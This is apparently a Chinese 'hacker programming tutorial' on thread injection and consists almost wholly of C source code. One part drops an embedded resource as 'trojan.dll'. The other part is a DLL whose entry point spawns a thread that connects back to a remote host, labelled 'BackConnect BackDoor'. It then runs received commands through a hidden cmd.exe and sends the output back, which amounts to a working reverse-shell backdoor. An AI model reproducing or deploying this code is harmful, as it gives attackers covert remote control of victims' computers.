黑客编程教程（十六）线程插入技术

//  resource.h

#define RC_BINARYTYPE 256

#define ID_MAGICDEL_DLL 100

DLL文件:

#include <windows.h>

#include<stdio.h>

#include "resource.h"

void WriteResourceToFile(char const *filename)

{

HINSTANCE hInstance=GetModuleHandle(NULL);

HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_MAGICDEL_DLL),

MAKEINTRESOURCE(RC_BINARYTYPE));

HGLOBAL hgRes = LoadResource(hInstance, hResInfo);

void *pvRes = LockResource(hgRes);

DWORD cbRes = SizeofResource(hInstance, hResInfo);

HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL, 0);

DWORD cbWritten;

WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);

CloseHandle(hFile);

}

int main(void)

{

WriteResourceToFile("trojan.dll");

return 0;

}

主程序:

#include<winsock2.h>

#include<stdio.h>

#pragma comment(lib,"ws2_32.lib")

#pragma comment(lib, "kernel32.lib")

int StartSocket(); //连接函数

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD  ul_reason_for_call,

LPVOID lpReserved

)   //动态连接库的入口，相当于main()函数

{

switch(ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

{

DWORD id;           CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);

break;

}

default:

break;

}

return TRUE;

}

int StartSocket()

{

char *messages = "\r\n======================== BackConnect BackDoor V0.1 ========================\r\n========= Welcome to Http://www.hackerxfiles.net =========\r\n";

WSADATA WSAData;

SOCKET sock;

SOCKADDR_IN addr_in;

char buf1[1024];   //作为socket接收数据的缓冲区

memset(buf1,0,1024);   //清空缓冲区

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)

{

printf("WSAStartup error.Error:d\n",WSAGetLastError());

return;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(80);  //反向连接的远端主机端口

addr_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");  //远端IP

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

printf("Socket failed.Error:d\n",WSAGetLastError());

return;

}

if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)     //连接客户主机

{

printf("Connect failed.Error:d",WSAGetLastError());

return;

}

if (send(sock,messages,strlen(messages),0)==SOCKET_ERROR)  //发送欢迎信息

{

printf("Send failed.Error:d\n",WSAGetLastError());

return;

}

char buffer[2048] = {0};//管道输出的数据

for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){

SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出

HANDLE hRead,hWrite;

sa.nLength = sizeof(SECURITY_ATTRIBUTES);

sa.lpSecurityDescriptor = NULL;

sa.bInheritHandle = TRUE;

if (!CreatePipe(&hRead,&hWrite,&sa,0))

{

printf("Error On CreatePipe()");

return;

}

STARTUPINFO si;

PROCESS_INFORMATION pi;

si.cb = sizeof(STARTUPINFO);

GetStartupInfo(&si);

si.hStdError = hWrite;

si.hStdOutput = hWrite;

si.wShowWindow = SW_HIDE;

si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

GetSystemDirectory(cmdline,MAX_PATH+1);

strcat(cmdline,"\\cmd.exe /c");

int   len=recv(sock,buf1,1024,NULL);

if(len==SOCKET_ERROR)exit(0); //如果客户端断开连接，则自动退出程序

if(len<=1){send(sock,"error\n",sizeof("error\n"),0);continue;}

strncat(cmdline,buf1,strlen(buf1)); //把命令参数复制到cmdline

if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))

{

send(sock,"Error command\n",sizeof("Error command\n"),0);

continue;

}

CloseHandle(hWrite);

//循环读取管道中数据并发送，直到管道中没有数据为止

for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL);memset(buffer,0,2048)){

send(sock,buffer,strlen(buffer),0);

}

}

return 0;

}